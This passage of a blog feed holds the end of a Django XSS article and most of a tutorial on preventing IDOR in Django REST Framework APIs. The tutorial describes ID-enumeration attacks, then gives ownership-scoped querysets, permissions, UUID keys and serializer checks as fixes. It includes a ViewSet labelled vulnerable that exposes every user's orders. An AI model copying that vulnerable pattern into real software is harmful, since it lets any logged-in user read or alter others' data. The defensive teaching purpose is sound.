&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP Cross Site Scripting Prevention Cheat Sheet&lt;/a&gt; — the canonical reference for output encoding rules by context (HTML body, attribute, JavaScript, CSS, URL).&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.djangoproject.com/en/stable/topics/security/#cross-site-scripting-xss-protection" rel="noopener noreferrer"&gt;Django security docs: cross site scripting protection&lt;/a&gt; — Django's own documentation on what autoescape does and does not protect against.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45116" rel="noopener noreferrer"&gt;CVE-2021-45116 NVD entry&lt;/a&gt; — the specific Django CVE referenced in this article's attack pattern; read the patch diff to see how the Django team handled SafeString leakage in the template engine internals.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;The single most reliable control in this class of bug is a team norm: &lt;code&gt;mark_safe()&lt;/code&gt; never touches data that has not passed through &lt;code&gt;format_html()&lt;/code&gt; or &lt;code&gt;conditional_escape()&lt;/code&gt; first, and every use gets a comment explaining what made the input safe. If your codebase has more than a handful of &lt;code&gt;mark_safe&lt;/code&gt; calls without those comments, that's where to spend the next hour. &lt;a href="https://www.codereviewlab.com/learning/application-security-engineer" rel="noopener noreferrer"&gt;The application security engineer's playbook on Code Review Lab&lt;/a&gt; has a structured process for working through exactly this kind of legacy-code audit at scale.&lt;/p&gt;

</description>
      <category>django</category>
      <category>security</category>
      <category>xss</category>
      <category>python</category>
    </item>
    <item>
      <title>How to Prevent IDOR Vulnerabilities in Django REST APIs</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Sun, 03 May 2026 22:21:49 +0000</pubDate>
      <link>https://dev.to/securitystefan/how-to-prevent-idor-vulnerabilities-in-django-rest-apis-5763</link>
      <guid>https://dev.to/securitystefan/how-to-prevent-idor-vulnerabilities-in-django-rest-apis-5763</guid>
      <description>&lt;h1&gt;
  
  
  How to Prevent IDOR Vulnerabilities in Django REST APIs
&lt;/h1&gt;

&lt;p&gt;An authenticated user changes &lt;code&gt;/api/orders/42/&lt;/code&gt; to &lt;code&gt;/api/orders/43/&lt;/code&gt; and reads someone else's order. No privilege escalation needed — the endpoint just returns it. This is IDOR in its simplest form, and it's endemic in Django REST Framework code because DRF makes it trivially easy to wire up a &lt;code&gt;ModelViewSet&lt;/code&gt; that exposes every object in a table. The authentication layer does its job; the authorization layer was never written.&lt;/p&gt;

&lt;h2&gt;
  
  
  How IDOR Attacks Work Against Django REST APIs
&lt;/h2&gt;

&lt;p&gt;IDOR (Insecure Direct Object Reference) happens when an API accepts a user-controlled identifier — a URL path segment, query param, or request body field — and retrieves the corresponding object without verifying that the requesting user has any right to it. Authentication proves who you are. Authorization proves what you can touch. Most IDOR bugs exist because the first check was implemented and the second was skipped.&lt;/p&gt;

&lt;p&gt;A typical attack against a vulnerable DRF app:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker authenticates as &lt;code&gt;alice@example.com&lt;/code&gt; and creates an order. The response contains &lt;code&gt;{"id": 101, ...}&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Attacker sends &lt;code&gt;GET /api/orders/100/&lt;/code&gt;. The API returns Bob's order because nothing checks ownership.&lt;/li&gt;
&lt;li&gt;Attacker scripts a loop from ID 1 to 10000, dumps every order in the database. Sequential integer PKs make enumeration take seconds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here is the vulnerable ViewSet pattern we see most often in real codebases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — VULNERABLE
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;viewsets&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.permissions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IsAuthenticated&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.serializers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OrderSerializer&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderViewSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;viewsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModelViewSet&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;serializer_class&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OrderSerializer&lt;/span&gt;
    &lt;span class="n"&gt;permission_classes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IsAuthenticated&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# proves identity, not ownership
&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_queryset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Returns every order in the database — any authenticated user
&lt;/span&gt;        &lt;span class="c1"&gt;# can retrieve, update, or delete any order by guessing its PK.
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;IsAuthenticated&lt;/code&gt; blocks anonymous requests, which makes it look like the endpoint is secured. But any valid session token — including one the attacker registered themselves — bypasses it. The &lt;code&gt;retrieve()&lt;/code&gt;, &lt;code&gt;update()&lt;/code&gt;, and &lt;code&gt;destroy()&lt;/code&gt; actions in &lt;code&gt;ModelViewSet&lt;/code&gt; all call &lt;code&gt;get_object()&lt;/code&gt;, which calls &lt;code&gt;get_queryset()&lt;/code&gt; and then filters by the URL &lt;code&gt;pk&lt;/code&gt;. Since &lt;code&gt;get_queryset()&lt;/code&gt; returns everything, &lt;code&gt;get_object()&lt;/code&gt; happily resolves any ID.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing IDOR by Scoping Querysets to the Authenticated User
&lt;/h2&gt;

&lt;p&gt;The correct fix is to scope &lt;code&gt;get_queryset()&lt;/code&gt; to the authenticated user so that the object simply doesn't exist from the API's perspective if it doesn't belong to the requester. This gives you a 404 instead of a 403, which is almost always the right behavior — a 403 confirms the resource exists and leaks information about the ID space.&lt;/p&gt;

&lt;p&gt;Add a second layer with a custom &lt;code&gt;BasePermission&lt;/code&gt; that implements &lt;code&gt;has_object_permission&lt;/code&gt;. The queryset filter handles list and retrieve; the object permission handles mutating actions where DRF calls &lt;code&gt;check_object_permissions&lt;/code&gt; explicitly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# permissions.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.permissions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BasePermission&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;IsOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BasePermission&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;has_object_permission&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Explicit ownership check — queryset scoping is the first line,
&lt;/span&gt;        &lt;span class="c1"&gt;# but we defend in depth for any path that bypasses get_queryset.
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py — FIXED
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;viewsets&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.permissions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IsAuthenticated&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.serializers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OrderSerializer&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.permissions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IsOwner&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderViewSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;viewsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModelViewSet&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;serializer_class&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OrderSerializer&lt;/span&gt;
    &lt;span class="n"&gt;permission_classes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IsAuthenticated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IsOwner&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_queryset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Scope to the requesting user at the ORM layer — objects that don't
&lt;/span&gt;        &lt;span class="c1"&gt;# belong to this user never enter the retrieval pipeline at all.
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;select_related&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;owner&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform_create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;serializer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Bind the new object to the authenticated user so the POST path
&lt;/span&gt;        &lt;span class="c1"&gt;# can't accept a user-controlled owner field.
&lt;/span&gt;        &lt;span class="n"&gt;serializer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Filtering at the queryset layer beats checking IDs inside the view body for two reasons. First, it's impossible to forget: every action — list, retrieve, update, partial update, destroy — goes through &lt;code&gt;get_queryset()&lt;/code&gt;. Second, it eliminates a whole class of time-of-check / time-of-use bugs where you check ownership in &lt;code&gt;get&lt;/code&gt; but forget to re-check in &lt;code&gt;patch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The same defense-in-depth principle applies to &lt;a href="https://www.codereviewlab.com/learning/grpc-security" rel="noopener noreferrer"&gt;object-level auth in gRPC services&lt;/a&gt; and any RPC-style API where the framework doesn't give you a queryset abstraction: filter first, check permissions on the resolved object second.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use Unguessable Identifiers Instead of Sequential IDs
&lt;/h2&gt;

&lt;p&gt;Sequential integer PKs are an enumeration gift. Once an attacker has one valid ID, they have a roadmap to every other record. Replacing exposed identifiers with UUIDs or opaque slugs doesn't fix the authorization hole — that requires the fixes above — but it raises the cost of bulk enumeration from "write a loop" to "brute-force a 128-bit space."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# models.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;uuid&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.db&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Use UUIDField as the primary key to prevent sequential enumeration.
&lt;/span&gt;    &lt;span class="c1"&gt;# This is defense in depth — queryset scoping is still mandatory.
&lt;/span&gt;    &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;UUIDField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uuid4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;editable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auth.User&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;on_delete&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CASCADE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;related_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;orders&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DecimalField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_digits&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decimal_places&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DateTimeField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auto_now_add&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# urls.py — router uses the UUID field as the lookup
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.routers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;DefaultRouter&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.views&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OrderViewSet&lt;/span&gt;

&lt;span class="n"&gt;router&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DefaultRouter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;orders&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;OrderViewSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;basename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Override lookup_field on the ViewSet to match the UUID primary key
# so DRF resolves /api/orders/&amp;lt;uuid&amp;gt;/ instead of /api/orders/&amp;lt;int&amp;gt;/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# views.py addition
&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderViewSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;viewsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModelViewSet&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;lookup_field&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# matches the UUIDField name on the model
&lt;/span&gt;    &lt;span class="c1"&gt;# ... rest of ViewSet unchanged from the fix above
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One tradeoff: UUIDs inflate index size and can slow joins on large tables. If that matters, use a separately-stored &lt;code&gt;public_id = models.UUIDField(default=uuid.uuid4, editable=False, unique=True)&lt;/code&gt; alongside an integer PK, and expose only &lt;code&gt;public_id&lt;/code&gt; in serializers and URLs. The internal integer PK never appears in any HTTP response.&lt;/p&gt;

&lt;p&gt;Never treat opaque IDs as a substitute for proper authorization. We've reviewed APIs that switched to UUIDs, removed the queryset scoping because "users can't guess them now," and then leaked UUIDs in webhook payloads, browser history, or third-party analytics — instantly making every ID known to an attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enforce Authorization at the Serializer and Nested Resource Level
&lt;/h2&gt;

&lt;p&gt;Queryset scoping protects URL-path-based access. IDOR also hides in writable foreign key fields where a user submits a payload referencing another tenant's object. A user who owns projects 10 and 11 might try &lt;code&gt;{"project": 99}&lt;/code&gt; on a task creation endpoint to attach their task to someone else's project.&lt;/p&gt;

&lt;p&gt;This is especially common in multi-tenant SaaS applications where related resources belong to different organizational boundaries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# serializers.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;serializers&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Project&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TaskSerializer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serializers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModelSerializer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Meta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Task&lt;/span&gt;
        &lt;span class="n"&gt;fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;title&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;project&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;due_date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_project&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;request&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;serializers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No request context available.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# Reject foreign keys that don't belong to the authenticated user —
&lt;/span&gt;        &lt;span class="c1"&gt;# without this check, any user can write into any project by ID.
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;Project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;serializers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Project not found.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# Deliberately vague — don't confirm existence
&lt;/span&gt;            &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



